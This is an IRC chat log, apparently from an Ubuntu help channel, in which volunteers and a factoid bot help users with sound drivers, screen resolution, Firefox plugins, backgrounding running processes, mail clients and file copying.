[09:03] <JoshJ> though it doesn't work well if you have a lot of odd configuration options, from what i understand
[09:03] <mnoir> tim167: you can but if you do not backup, you are risking losses :)
[09:03] <deoryp> jrib nothing is in the firefox dir
[09:03] <Crankymonky> Though sudo make and just make give the same error
[09:03] <tim167> JoshJ, again you were too quick :-p
[09:03] <deoryp> jrib nothing is in the firefox dir  <-- no java
[09:03] <Skat> deafboy: has it ever worked?
[09:03] <jrib> deoryp: weird.  I suppose it might be because you don't have the old firefox package installed or something?
[09:03] <deafboy> skat: not that I know of
[09:04] <tim167> mnoir: will backup fo sure
[09:04] <stefg> Crankymonky: this is beyond the scope of this channel. General tips: you need a lot of foobar-*dev* packages installed to compile succesfully. read the Doc in the source carefully what compiler and make version it wants, or if it's an automake build...
[09:04] <mnoir>  (thanks rioghal)
[09:04] <jrib> deoryp: ls -l /etc/alternatives/firefox-javaplugin.so
[09:04] <stormchas3r> mcphail, that doesnt really help me.  I want to make 2 120gb drives into one, then install ubunt server
[09:04] <deoryp> jrib is there a new distro of ubuntu that has firefox 2.0 ?
[09:04] <jrib> deoryp: yes, edgy
[09:04] <JoshJ> where is the broadcom 4318 driver on windows so i can get it on ndiswrapper?
[09:04] <mnoir> tim167: the upgrade process has a so-so reputation but recently seems to be working ok
[09:04] <Skat> Is it correctly selected in System>Preferences>Sound
[09:04] <MerlynC> I currently have a nvidia chipset board installed with the following sound card "00:04.0 Multimedia audio controller: nVidia Corporation CK804 AC'97 Audio Controller (rev a2)". I read that ALSA and NVidia are already precompiled into the kernel and should work "out of box" I am showing that the card "works" by ability to change volume controls ect but I do not hear anything out of my speakers
[09:04] <jrib> deoryp: I would recommend you eventually get rid of your custom install into /usr/lib even if you don't decide to upgrade
[09:05] <jrib> !upgrade | deoryp
[09:05] <ubotu> deoryp: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes
[09:05] <Crankymonky> stefg, the problem was there weren't any docs in the source, that'd be why I had a problem^^
[09:05] <deoryp> jrib: http://pastebin.ca/314481
[09:05] <stormchas3r> !lvm
[09:05] <ubotu> Tips and tricks for RAID and LVM can be found on https://help.ubuntu.com/community/RaidConfigurationHowto and http://www.tldp.org/HOWTO/LVM-HOWTO
[09:05] <JoshJ> ah nvm
[09:05] <deafboy> skat: says HDA Intel
[09:05] <Crankymonky> Well, it did say to install libbogg and some other some libraries:P
[09:05] <mcphail> stormchas3r: it is a looong time since i had to do a fresh install. Perhaps readdress the specific question to the channel? I'm not sure if there is an LVM option in the installer
[09:05] <jrib> deoryp: sudo ln -s /etc/alternatives/firefox-javaplugin.so /usr/lib/firefox/plugins/libjavaplugin.so
[09:05] <Skat> deafboy: And that is your soundcard?
[09:05] <deafboy> skat: yes
[09:05] <stormchas3r> mcphail, ty
[09:06] <Skat> deafboy: if you hit the "test" buttons any joy?
[09:06] <nemo_work> woot. FYI to JoshJ and others.
[09:06] <stefg> MerlynC: type 'alsamixer' in a terminal and see, which outputs are muted
[09:06] <deafboy> skat: nope :(
[09:06] <JoshJ> ?
[09:06] <MerlynC> stefg: None
[09:06] <deoryp> jrib success!
[09:06] <jamesbrose> I'm making a local ubuntu apt server, how long does it normally take to download all the packages for the first time?
[09:07] <jrib> deoryp: k great, I'll send you some instructions on a better way to install firefox 2.0 on dapper too
[09:07] <jrib> !firefox | deoryp
[09:07] <ubotu> deoryp: firefox is the default web-browser on Ubuntu. To install the latest version, see https://help.ubuntu.com/community/FirefoxNewVersion Installing plugins: https://wiki.ubuntu.com/FirefoxPlugins
[09:07] <nemo_work> tried again remotely (ssh -YC + nautilus) and when ssh:// worked got suspicious
[09:07] <stefg> MerlynC: According to the fact that 90% of these problems are *overseen* mutes, please look again
[09:07] <swarog> pike_: got it working, thanks anyway
[09:07] <Skat> deafboy: are there other choices for sound device?
[09:07] <nemo_work> sure enough, nautilus wasn't opening *any* folders
[09:07] <JoshJ> rofl
[09:07] <JoshJ> :(
[09:07] <nemo_work> killall nautilus and my mounts worked fine
[09:07] <nemo_work> !@#$
[09:07] <JoshJ> wow
[09:07] <bakert> You know when you press Ctrl-Alt-f1, f2, f3, etc. and you get a new terminal window thingy?  What's that called?  A tty?
[09:07] <OrangeOrange> !fixres
[09:07] <ubotu> The X Window System is the part of your system that's responsible for graphical output. To restart your X, type "sudo /etc/init.d/?dm restart" in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[09:07] <JoshJ> yes, tty
[09:07] <FactTech> Question: If I choose "save session" when I log out or shut down, is it supposed to revert to the same state when I log back in? For example, if I have a file open in mousepad, should that file be opened automatically when I log in?
[09:07] <deafboy> skat: nope
[09:07] <JoshJ> tty1, tty2, tt3, and so forth
[09:07] <bakert> Thanks JoshJ
[09:07] <deafboy> skat: different formats like alsa, oss etc... but no different cards
[09:07] <MerlynC> stefg: Just double checked it. All are un muted, and have a radio playing on the system, with a "Volume Meter" that is not moving one bit
[09:07] <deoryp> jrib ok i am going to do the upgrade to edgy thanks for your help
[09:07] <jrib> deoryp: np
[09:08] <tim167> think I'll have a go with     gksu "update-manager -c"         ...what's the worse that can happen ? 8-)
[09:08] <stefg> !sound | MerlynC
[09:08] <ubotu> MerlynC: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer). If that fails, see https://help.ubuntu.com/community/Sound - https://help.ubuntu.com/community/SoundTroubleshooting - http://alsa.opensrc.org/index.php?page=DmixPlugin
[09:08] <juano__> anyone know why i cant send mail with kmail using gmail, i can fetch mail fine
[09:08] <bakert> How do I take control of a process running under X/Gnome from a tty?  That is, I want to preserve it so that when I kill off X the process will stil be running?
[09:08] <MerlynC> stefg: nm I am going to not be cocky next time.. thank you for fixing my ignorance
[09:08] <MerlynC> I swear Linux is womans attempt to make men read and listen
[09:08] <Skat> deafboy: on the volume icon on the desktop double click
[09:08] <mnoir> juano__: cuz yer ISP filters port 25?
[09:08] <tusiu> Witam
[09:08] <mcphail> juano__: is your smtp server set correctly?
[09:08] <stefg> MerlynC: No prob, no ignorance... just the fact that it's really often overseen mutes
[09:09] <Skat> deafboy: I know it's basic but all controls are up, none muted
[09:09] <jamesbrose> I'm making a local ubuntu apt server, how long does it normally take to download all the packages for the first time?
[09:09] <MerlynC> stefg: you might be able to answer this, only the rear channels are playing anything
[09:09] <pike_> jamesbrose: 32.4 hrs
[09:09] <deafboy> skat: yep all are green :)
[09:09] <stefg> MerlynC: ahh.... 5.1
[09:09] <tusiu> hi
[09:09] <MerlynC> stefg: Yes
[09:09] <jamesbrose> pike_, how much space does it take up?
[09:09] <foobarian> bakert, you can do it if you set things up ahead of time a little bit.  for text processes the best solution is to use "screen"
[09:09] <Math^> hello, when I try to startup xawtv, I get this message: X Error of failed request:  XF86DGANoDirectVideoMode, what does this mean?
[09:09] <OrangeOrange> my whole screen became a terminal after sudo /etc/init.d/?dm restart
[09:09] <Math^> I'm using a Pinnacle Rave
[09:09] <juano__> mcphail: smtp.gmail.com port 465 (tried 587) PLAIN TLS
[09:09] <pike_> jamesbrose: i was kidding sorry
[09:10] <OrangeOrange> how can i get back to gui
[09:10] <MerlynC> OrangeOrange: startx
[09:10] <jamesbrose> pike_ oh right...
[09:10] <Skat> deafboy: sorry but I can't help further - ask again
[09:10] <OrangeOrange> thanks
[09:10] <foobarian> bakert, first start "screen", start your process, then press Ctrl-a d and the screen will go into background
[09:10] <juano__> mnoir: my ISP doesnt block it cause thunderbird works fine
[09:10] <mcphail> juano__: you will probably have to use your ISP's smtp server
[09:10] <stefg> MerlynC: the driver (or your cabling) confuses front and rear... 5.1 is sometimes ticky
[09:10] <bakert> foobarian - what if the process is already running?
[09:10] <juano__> mcphail: thunderbird works fine
[09:10] <foobarian> bakert, later you can run "screen -r" to reconnect to that tty
[09:10] <foobarian> bakert, in that case, you're screwed :)
[09:10] <deafboy> skat: thanks for trying
[09:10] <bakert> foobarian - ah.  shame
[09:11] <juano__> mcphail: has to be something with kmail
[09:11] <BigToe> When trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?
[09:11] <MerlynC> stefg: cables are color coded so hope I didn't mess that up but will double check, but any suggestions on where to look for 5.1 help?
[09:11] <deafboy> can anyone help me figure out my sound card issues? i have the drivers/codecs installed
[09:11] <mcphail> juano__: sorry, i don't use it...
[09:11] <JoshJ> er there's actually a way to background running processes
[09:11] <JoshJ> i have no idea how though
[09:11] <foobarian> bakert, for graphical processes, you can set up a vncserver, and run the process inside it
[09:11] <Math^> anyone know something about using xawt with Pinnacle Rave?
[09:11] <MerlynC> stefg: along with that, how would I enable 5.1 (even if they are backwards, they are only set in 2.1 right now)
[09:11] <Flannel> bakert: if you just want to send it to the background, you can ctrl-z to pause it, then type 'jobs', get it's job number, then "bg #" where the number coincides, that'll have it run in te background.
[09:11] <stefg> MerlynC: give me a paste of your lspci output to pastebin (see /topic for url)
[09:11] <OrangeOrange> !fixres
[09:11] <juano__> anyone know why kmail cant send mail?? its not IP cause thunderbird works fine: smtp.gmail.com port 465 (tried 587) PLAIN TLS
[09:11] <ubotu> The X Window System is the part of your system that's responsible for graphical output. To restart your X, type "sudo /etc/init.d/?dm restart" in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[09:12] <Vluid> hello, does anyone know how file tranfer in psi works through a firewall?
[09:12] <juano__> anyone know why kmail cant send mail?? its not ISP cause thunderbird works fine: smtp.gmail.com port 465 (tried 587) PLAIN TLS
[09:12] <bakert> foobarian, JoshJ, sadly X is unrecoverable and my compilation has been running for about 8 hours.  I guess I can't restart X til it finishes then ...
[09:12] <tim167> hmm, I try gksu "sh /cdrom/cdromupgrade" but I get: No such file or directory ... any idea ?
[09:12] <foobarian> JoshJ, you can use kill to background a process, but it will die if the parent (shell) dies
[09:12] <JoshJ> uh
[09:12] <pike_> juano__: /j kbubuntu   you might get more helpful response
[09:12] <JoshJ> bakert: how many TTYs do you have?
[09:12] <stefg> MerlynC: you are on edgy, aren't you?
[09:12] <deafboy> can anyone help me figure out my sound card issues? i have the drivers/codecs installed?
[09:12] <BigToe> When trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?
[09:12] <pike_> juano__: sorry #kubuntu
[09:12] <juano__> pike_: yep trying there
[09:12] <bakert> JoshJ - 6 i guess plus the seventh where X is but is dead.
[09:12] <juano__> pike_: not much luck
[09:12] <bakert> JoshJ - well, not dead, but not visible
[09:12] <JoshJ> so why can't you use a different TTY to start X?
[09:12] <Vluid> noone?
[09:13] <JoshJ> i must be missing something
[09:13] <pike_> juano__: what does it say when it fails
[09:13] <Enselic``> When I open Emacs, I get this: http://www.chromecode.com/graphics/emacs-fupped.png
[09:13] <MerlynC> stefg: http://paste.ubuntu-nl.org/1334/
[09:13] <Enselic``> What could that be?
[09:13] <MerlynC> stefg: Yes
[09:13] <OrangeOrange> how do i know which "video driver" to use for X server?
[09:13] <bakert> JoshJ - sorry full explanation.  i was running X at 1920x1600 at work.  I unplugged the monitor and came home.  now i'd like to use X at a lower res but without killing my compile which has been running for 8 hours.
[09:13] <MerlynC> OrangeOrange: What Video Card do you have?
[09:13] <bakert> JoshJ - does that make sense?
[09:13] <OrangeOrange> its a builtin (laptop computer)
[09:13] <JoshJ> ah, i see
[09:14] <MerlynC> OrangeOrange: Intel Chip?
[09:14] <JoshJ> is X still working on that computer?
[09:14] <OrangeOrange> yes
[09:14] <stefg> MerlynC: reading... will take a sec
[09:14] <juano__> pike_: it doesnt even send, or give a window showing an attempt to send emails just sit in outbox
[09:14] <OrangeOrange> MerlynC: yes
[09:14] <JoshJ> i mean, if the x server is up you should in theory be able to make a new client to the same x server
[09:14] <bakert> JoshJ - so X is still working but I can't see it; and I have full access to my tty's
[09:14] <juano__> pike_: i tried right click send messages in queue but no luck
[09:14] <mzanfardino> quick question: how do I unbind IPv6 from my eth0 adapter?
[09:14] <MerlynC> OrangeOrange: When it comes to intel I wouldn't be able to help you, but... give me a second to google it
[09:14] <bakert> JoshJ - ah yes that would be brilliant - a new client at a different res
[09:14] <mnoir> Enselic``: looks like a charset/locale issue
[09:14] <nemo_work> JoshJ: btw, to elaborate.  is I suppose a bug in nautilus, but probably I hung something by what I had done in the first place, which was to try to connect to a server that I had mucked up by blowing away all of /tmp, then killing the remote, but not checking nautilus for confusion :)
[09:14] <nemo_work> JoshJ: so hopefully this behaviour is not that common
[09:15] <JoshJ> nemo_work: i'd hope not
[09:15] <Enselic``> mnoir, yeah, I've tried to poke with Mule settings, but without result
[09:15] <JoshJ> blowing away all of /tmp seems... silly
[09:15] <foobarian> bakert, why not kill the compile? won't a makefile continue from where it left off?
[09:15] <OrangeOrange> Merylnc: to be exact it's Intel Graphics Media Accelerator 950
[09:15] <bakert> foobarian - will it?  that would be good.  but it's been going for 8 hours.  I'd like to be sure!!!
[09:15] <mnoir> Enselic``: cant help much - i live my life so as to avoid emacs whenever possible
[09:15] <JoshJ> foobarian : uh, you're kidding right?
[09:15] <pike_> juano__: never used it myself id try rm'ing the config file wherever it is. probably under .kde i guess
[09:15] <BigToe> When trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?
[09:15] <JoshJ> if he's compiling with GCC i think you can resume at the most recent "stage" of the compile process, but if you're mid-stage...
[09:15] <MerlynC> OrangeOrange: with lspci what does it say for you VGA Compatible Controller
[09:15] <stefg> MerlynC: bad news: https://launchpad.net/ubuntu/+source/linux-source-2.6.17/+bug/63352
[09:16] <foobarian> JoshJ, of course not- this is what make(1) is designed for
[09:16] <juano__> pike_: ok thanks
[09:16] <nemo_work> Say, is there a clean way, besides erasing the plugin, to have totem not register itself for media types with firefox?
[09:16] <mnoir> bakert: yes - that is one of the points of make - to be able to continue from where an interrupt occurred
[09:16] <alek66> can anyone help me I dont have mp3 support
[09:16] <nemo_work> I'd rather use mplayerplug-in
[09:16] <MerlynC> stefg: That is Creative XFI, Drivers come out Q2 this year..
[09:16] <nemo_work> and right now both are listed, and totem appears to be trumping on stuff it can't seem to play
[09:16] <MerlynC> stefg: I have 2 sound cards in this machine
[09:16] <MerlynC> stefg: ignore the Creative One
[09:16] <bakert> JoshJ, foobarian, maybe i'll try that then.  and if it goes horribly wrong i can run it overnight i suppose.
[09:16] <foobarian> bakert, it depends- is it 8 hours compiling a single c++ file? or is it a lot of really short files?
[09:16] <JoshJ> nemo_work: about:plugins
[09:17] <JoshJ> that'll show you them at least so you can make sure
[09:17] <bakert> foobarian, it's the glasgow haskell compiler 6.6 and it's libraries.  i'm not sure where it's up to or exactly what it does
[09:17] <OrangeOrange> Merylnc: Intel Corporation Mobile Integrated Graphics Controller (rev 03)
[09:17] <nemo_work> JoshJ: I know that much :)
[09:17] <JoshJ> er yeah, if it's not gcc and gmake you probably don't want to rely on gmake and gcc features :p
[09:17] <nemo_work> for now moved libtotem-* in /usr/lib/mozilla-firefox/plugins to a disabled/ subfolder
[09:17] <nemo_work> which mucks with package management. oh well.
[09:17] <JoshJ> nemo_work: it's hard to tell what different people know
[09:18] <JoshJ> and yeah, speaking of package management , i managed to terribly muck up my apt :(
[09:18] <bakert> JoshJ no it is a haskell compiler written in haskell compiling with an earlier version of haskell so i guess that might notwork
[09:18] <FactTech> Question: What's the difference between "hibernate" and "save session for future logins"?
[09:18] <JoshJ> i'm going to install debian etch when it comes out and have a hell of a lot more restraint in keeping the system proper
[09:18] <Alarm> hello. i got a problem with my ftp server. i just managed to run proftpd  , i can also succesfully login but i cant see any content in it. what could be wrong ? the strange thing is that when i log on the server from the local pc , i can see the content , but not from a remote
[09:18] <MerlynC> Stefg: 00:04.0 Multimedia audio controller: nVidia Corporation CK804 AC'97 Audio Controller (rev a2)  That is my sound card that is being used
[09:19] <MerlynC> OrangeOrange: checking for you now (as I assume you dont have a gui to work with)
[09:19] <fghj> how do I get afs working on ubuntu?
[09:19] <bakert> JoshJ, foobarian, thanks for your help.  I guess as there's no way to background a process from another tty I'll have to let it run or start again and run it overnight.  thanks for your help.
[09:19] <Flannel> FactTech: the former actually saves where you are in the programs, the latter just reopens the programs you had open, I  imagine.
[09:19] <stefg> MerlynC: got it... but takes some time to sort out the google mess
[09:19] <foobarian> bakert, nice, haskell is cool.  i only used hugs, but i would guess that whoever writes a haskell compiler in haskell would probably do the build process right and use dependencies
[09:19] <JoshJ> er, you CAN background a process from another TTY
[09:19] <OrangeOrange> Merylnc: im in gui mode... just that my resolution is "wrong" i want 1280x800... but i dont have the option to change that
[09:19] <JoshJ> let me look that up
[09:19] <bakert> JoshJ i tried to google it but i couldn't even work out the search terms!
[09:20] <JoshJ> linuxcommand.org FTW
[09:20] <bakert> JoshJ at least i'm a bit more sure about tty now!
[09:20] <FactTech> flannel That is what happened when I selected "save session", but I was expecting what you described for hibernate. What's the point of having it reopen the program but not the file?
[09:20] <OrangeOrange> Merylnc: i tried a link to help me on it.. but all it did was give me 2 additional options (800x600 and 600x400)
[09:20] <JoshJ> You can type control-z and the process will be suspended. The process still exists, but is idle. To resume the process in the background, type the bg command (short for background). Here is an example:
[09:20] <FactTech> Flannel I'm asking because I want to know, not to complain.
[09:20] <MerlynC> OrangeOrange: did you modify your xorg.conf to add the resolution
[09:20] <gandalfcome> i have a problem with my dual screen setup (ati). I get a mouse offset on one screen. Please help
[09:20] <MerlynC> stefg: thats fine didn't want you to run away :-D
[09:20] <Flannel> FactTech: that'd be save session.  Hibernate saves your RAM to your HD, then puts it back in the RAM when you boot up, as if you had never shut down
[09:20] <christo> my send/receive button in Evolution is disabled... I guess I did something dumb without realising.. anybody know how to re-enable it pls?
[09:21] <Chetwin> Hey all.  I have a 1GB usb flash drive and I am unable to format it.  I think it is too full.  Can I do a full wipe somehow?
[09:21] <mzanfardino> !ipv6
[09:21] <bakert> JoshJ - the trouble is i can't see the terminal it is running in.  so i need to be able to suspend it from tty1 or something
[09:21] <ubotu> To disable ipv6 read https://help.ubuntu.com/community/WebBrowsingSlowIPv6IPv4
[09:21] <Flannel> FactTech: the save session would be if you had... a music player open, or some monitoring program, or something else like that
[09:21] <JoshJ> oh, durr
[09:21] <JoshJ> that's a good point heh
[09:21] <JoshJ> i have no idea how to get around that, and you should clearly just use screen in the future :P
[09:21] <OrangeOrange> MerylnC; yes i did.. but it still desont show the option to change that.. or set to that size
[09:21] <Chetwin> Hey all.  I have a 1GB usb flash drive and I am unable to format it.  I think it is too full.  Can I do a full wipe somehow?
[09:21] <bakert> JoshJ - can bg be called with a process id or something like that???
[09:21] <FactTech> Flannel OK, so basically the "saved session" is the equivalent of the "startup" folder in Windows.
[09:22] <bakert> JoshJ i'll check the man page
[09:22] <JoshJ> hm
[09:22] <JoshJ> dunno
[09:22] <JoshJ> man bg gets no results for me
[09:22] <JoshJ> so lemme just test that
[09:22] <Flannel> FactTech: They're different, but yeah, I suppose you could use them the same.
[09:22] <OrangeOrange> MerylnC; i edit the Section Screen
[09:22] <riotkittie> screen is my new boyfriend. <hugs it>
[09:22] <mnoir> JoshJ: i do not think there is a way to communicate to a tty session that you are not attached to -
[09:22] <christo> aah - it was the 'work offline' command - fixed now
[09:22] <Chetwin> Anyone anyone?
[09:22] <bakert> JoshJ appears to take a jobid but not a process id
[09:22] <fghj> how do I install kerberos? whic packages?
[09:22] <JoshJ> ah :(
[09:22] <swarog> there is no joe editor in default apt source tree on 6.10
[09:22] <JoshJ> !kerberos
[09:22] <ubotu> Sorry, I don't know anything about kerberos - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:22] <swarog> any ideas where to look?
[09:23] <MerlynC> OrangeOrange: What does it say for your "Device"
[09:23] <JoshJ> kerberos4kth-kip looks like it, fghj
[09:23] <OrangeOrange> MerylnC; actually i ran the autoscript.. and then attempt to set at 1280... but its still the same size.. and i believe it change the xonfg for me
[09:23] <bakert> mnoir - so i can't background a process from another tty under any circs?
[09:23] <lun> Hey all, after an upgrade 3 days ago, everything of my edgy start to become slow:starting terminal, firefox, even open a new tab for a new website, I tried top and the cpu usage is almost always 0%, anyone can give me a start point to fix this?
[09:23] <mnoir> bakert: i believe that is the case
[09:23] <MerlynC> OrangeOrange do you see my PM to you?
[09:23] <JoshJ> lun: check memory usage
[09:23] <JoshJ> (RAM or whatever)
[09:23] <mnoir> bakert: been seeing the question for years
[09:23] <bakert> mnoir ok i think we were coming around to that conclusion.  thanks.
[09:24] <swarog> is the joe in universe?
[09:24] <lun> Mem:   1034224k total,   588676k used,   445548k free,    16560k buffers
[09:24] <lun> Swap:  1124508k total,        0k used,  1124508k free,   291072k cached
[09:24] <Alarm> can i limit sshd for simple users that log in to have access only on /home/user folder and not to be able to go to / dir , or even subfolders of /home/user/subfolder ?
[09:24] <OrangeOrange> MerylnC: nope
[09:24] <JoshJ> yes, joe is in universe, swarog
[09:24] <bakert> foobarian, JoshJ, mnoir thanks for your help
[09:24] <gandalfcome> i have a problem with my dual screen setup (ati). I get a mouse offset on one screen. Please help
[09:24] <foobarian> bakert, no problem
[09:24] <OrangeOrange> MerylnC: btw the device is
[09:24] <riotkittie> the joe :D
[09:24] <lun> does that memory usage mean anything wrong?
[09:24] <Hoobly> I'm at my wits' end.  Someone please help
[09:24] <OrangeOrange> MerylnC: INtel Corp Mobile lalala
[09:24] <JoshJ> mnoir: if it's a problem, why wouldn't someone make an app that makes it possible?
[09:24] <OrangeOrange> MerylnC: the same stuff i copy+paste
[09:25] <BigToe> When trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?
[09:25] <JoshJ> is there a technical reason or just "nobody's done it yet?"
[09:25] <MerlynC> OrangeOrange: and in the "Modes" You added the resolution
[09:25] <mnoir> JoshJ: amazingly enough, it doesn't seem to be as much of a problem as it might seem
[09:25] <stefg> MerlynC: i read in a german forum that this is an issue with a module snd-hda-intel, which is wrongly loaded and needs blacklisting, and another module snd-ac97-bus  that needs to be added to /etc/modules... but that's not 100% reliable... thread is open end
[09:25] <mnoir> JoshJ: i mean not having the ability
[09:25] <JoshJ> well, yes, you can solve it with screen or whatever
[09:25] <JoshJ> it just seems like a rather mean "gotcha", so to speak
[09:26] <mnoir> Alarm: look at using a chroot jail or rbash
[09:26] <MerlynC> stefg: Meaning? (been a few years since I have touched Linux, and first time really caring about audio)
[09:26] <OrangeOrange> yep
[09:26] <lun> JoshJ, can you help me look at this? Does this memory usage mean something wrong?Mem:   1034224k total,   588676k used,   445548k free,    16560k buffers
[09:26] <lun> Swap:  1124508k total,        0k used,  1124508k free,   291072k cached
[09:26] <JoshJ> no, that doesn't mean anything wrong, lun
[09:26] <OrangeOrange> MerylnC: all mode is what i want ("1280x800")
[09:26] <stefg> MerlynC: meaning your autodetection failed, and you have t manually choose the right driver
[09:26] <JoshJ> i don't know why your system would be slow :\
[09:26] <Alarm> thanks
[09:26] <lun> then where else could I look at?
[09:26] <lun> thanks anyway:D
[09:27] <docmur> I'm a noob programmer can C use GTK lib's or do I have to use C++
[09:27] <BigToe> When trying to import a .MOV from my Easyshare C433 camera, recognised as a PTP class camera, through gthumb it freezes. How can I import this video without crashing?
[09:27] <JoshJ> i would expect C to be able to but i don't know for sure
[09:27] <MerlynC> stefg: Any suggestions on where to check (been all over google for the last few hours and I am stumped)
[09:27] <JoshJ> and...
[09:27] <JoshJ> http://www.gtk.org/tutorial/
[09:27] <JoshJ> enjoy!
[09:28] <lun> anything wrong with this in .xsession-errors ? ** (gnome-session:5250): WARNING **: Host name lookup failure on localhost.
[09:28] <bjames> hi all
[09:28] <riotkittie> hi bjames
[09:28] <erUSUL> docmur: gtk is indeed a c library, c++ bindings do exist called gtkmm. There are bindings for python, ruby perl etc
[09:29] <stefg> MerlynC: It's a problematic piece of hardware... there's lots of hits, but no 'flesh'...
[09:29] <JoshJ> hi mnoir
[09:29] <JoshJ> >_>
[09:29] <MerlynC> stefg: :-/
[09:29] <tim167> anyone know why gksu "sh /cdrom/cdromupgrade" gives no such file or directory ?
[09:29] <bjames> I'm fairly inexperienced with Linux.  I have an Ubuntu server set up and I log into it using SSH to mess with SAMBA settings, etc using Putty - how can I copy files from it to my Windows machine via remote login?
[09:29] <mnoir> JoshJ: i meant to bjames :)
[09:29] <foobarian> hmmmm
[09:29] <MerlynC> OrangeOrange: I found drivers on intels website regarding the 945, you have the 950, it might be worth a shot, but I really can't help much past that, not the best with integrated video
[09:30] <JoshJ> tim167: because there's no cdromupgrade dir in /cdrom ?
[09:30] <JoshJ> also gksu sh is a mixup
[09:30] <JoshJ> you should be doing sudo sh whatever
[09:30] <MerlynC> stefg: Technically... I could just swap the cables for a simple fix :-D, just no 5.1 until Q2 of XFi Drivers for Linux
[09:30] <Flannel> JoshJ: no, you shouldn't do that even.
[09:30] <mnoir> bjames: putty supports scp.  for more fun, install cygwin on yer windows box to turn it into a fake unix box
[09:30] <foobarian> JoshJ, given a process P, 'kill -STOP P; kill -CONT P' then killing the controlling terminal leaves the process running in the background.
[09:30] <tim167> I have /media/cdrom-1, which contains the Edgy Alternate install cd, and I tried /cdrom-1 too
[09:30] <Flannel> JoshJ: sudo -i is the correct method
[09:30] <JoshJ> ah, right
[09:31] <tim167> JoshJ: i mean gksu "sh /cdrom-1/cdromupgrade"
[09:31] <stefg> MerlynC: you have to investigate which modules are actually loaded (lsmod) and compare that to a list of modules which are known to be needed. More time-consuming tahn i can spend ATM
[09:31] <bjames> mnoir: I don't particularly want a Linux environment on the Windows box
[09:31] <bjames> how do I use scp?
[09:31] <JoshJ> man scp
[09:31] <OrangeOrange> MerylnC: Thanks... damn i really hate 1024x768 resolution on this laptop
[09:31] <Flannel> !scp
[09:31] <ubotu> SCP is a secure way of copying files across networks using !SSH. Usage: scp filename user@host:filename - WinSCP is a client for Windows, available at http://winscp.net/
[09:31] <MerlynC> stefg: that is fine, could you link me to that post
[09:31] <mnoir> bjames: i do not remember - go to the putty support page for that :)
[09:31] <bjames> ah ok - I thought it was a Putty thing
[09:31] <stefg> MerlynC: it's all german :-)
[09:31] <MerlynC> OrangeOrange: I am no god at this stuff, just post again asking the same question, someone is bound to know, and Google is god IMO
[09:31] <JoshJ> scp is a perfectly fine command line app, you don't need putty for it
[09:31] <kane77> hi
[09:31] <foobarian> bakert, do you want to try an experiment?
[09:32] <MerlynC> stefg: and translators are my friend :-D
[09:32] <JoshJ> in fact, there's not much need at all for putty on linux
[09:32] <tim167> I tried: gksu "update-manager -c" but that stalls on not being able to download certain files...
[09:32] <mnoir> JoshJ: does it run on linux??
[09:32] <JoshJ> telnet, ssh, and scp all are natively on linux for the most part, whereas windows only has telnet natively iirc
[09:32] <JoshJ> mnoir: yes :P
[09:32] <JoshJ> it's crossplatform
[09:32] <kane77> is there some voip software that would communicate over LAN (without necessarily connecting to internet)
[09:32] <kane77> ?
[09:32] <mnoir> JoshJ: hmm - that's a waste :)
[09:32] <JoshJ> it's a drag-drop install process on either platform :P
[09:32] <erisco> I have inserted a blank writable CD into my CD-rom drive. Ubuntu (6.06) has picked up the drive's name, so it must know that it is there. However using K3b, it is unable to detect that the CD is in the drive. It reports that no disk is found. Where can I get help relating to these types of problems?
[09:33] <foobarian> kane77, gnomemeeting? ekiga?
[09:33] <stefg> MerlynC: http://forum.ubuntuusers.de/topic/38002/
[09:33] <JoshJ> as in, "download putty.exe" on windows and "download putty.exe equivalent" on linux (though i use package manager if i want it)
[09:33] <tim167> failed to fetch .../edgy/main/pacages/source/sources.gz 404 Not Found
[09:33] <MerlynC> stefg and OrangeOrange: you 2 take care, thank you for the help stefg, going to do some more digging worst case, I have an old SBLive 5.1 Digital :-D
[09:33] <kane77> foobarian, does that work on lan? (without internet?)
[09:33] <JoshJ> tim167: did you copy-paste that?
[09:33] <MerlynC> stefg: Actually, I might just use that instead, I know SBLive is supported under like DOS for christ sake :-D
[09:33] <stefg> MerlynC: that's waht i call Life-nsurance
[09:33] <mnoir> JoshJ: with the kio slaves, i hardly ever use ssh for anything but tunneling X
[09:33] <JoshJ> because it says "pacages" instead of "packages"
[09:33] <bjames> DOH! I forgot I can just move the file to my SAMBA share
[09:33] <tim167> JoshJ no
[09:33] <bjames> !!
[09:34] <tim167> JoshJ its on another computer, it had a typo i know...
[09:34] <JoshJ> ah, ok
[09:34] <MerlynC> stefg: the SBLive? I know, I actually have 2 of them, they are easy to come by, and the most universal card I think I have ever seen
[09:34] <OrangeOrange> Merylnc: thanks.. i will google deep now
[09:34] <erisco> !cd burners
[09:35] <stefg> MerlynC: that's what qualifies them for the Life-Insurance job :-)
[09:35] <ubotu> Sorry, I don't know anything about cd burners - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:35] <JoshJ> gnomebacker, k3b
[09:35] <JoshJ> *baker
[09:35] <JoshJ> !gnomebaker
[09:35] <ubotu> gnomebaker: application for CD/DVD creation in the GNOME desktop. In component universe, is optional. Version 0.6.0-0ubuntu2 (edgy), package size 991 kB, installed size 2964 kB
[09:35] <JoshJ> !k3b
[09:35] <erisco> !cd writers
[09:35] <ubotu> k3b is a feature-rich and user-friendly burning application for KDE (and, as all KDE applications, works fine on GNOME). For a guide, see https://help.ubuntu.com/community/K3BHowto
[09:35] <ubotu> Sorry, I don't know anything about cd writers - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:35] <erisco> !cd
[09:35] <ubotu> Sorry, I don't know anything about cd - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[09:35] <erisco> come on -.-
[09:35] <NkZ> Greetings Guys! I have an Issue. When playing some videos (WMV) on VLC PLayer, the video get's weird, like it does not refresh correctly. Do I need to Download codecs or something or config anything?
[09:35] <JoshJ> erisco : see what i just gave you
[09:35] <BigToe> er, erisco
[09:35] <foobarian> kane77, i think so, the sip account is optional
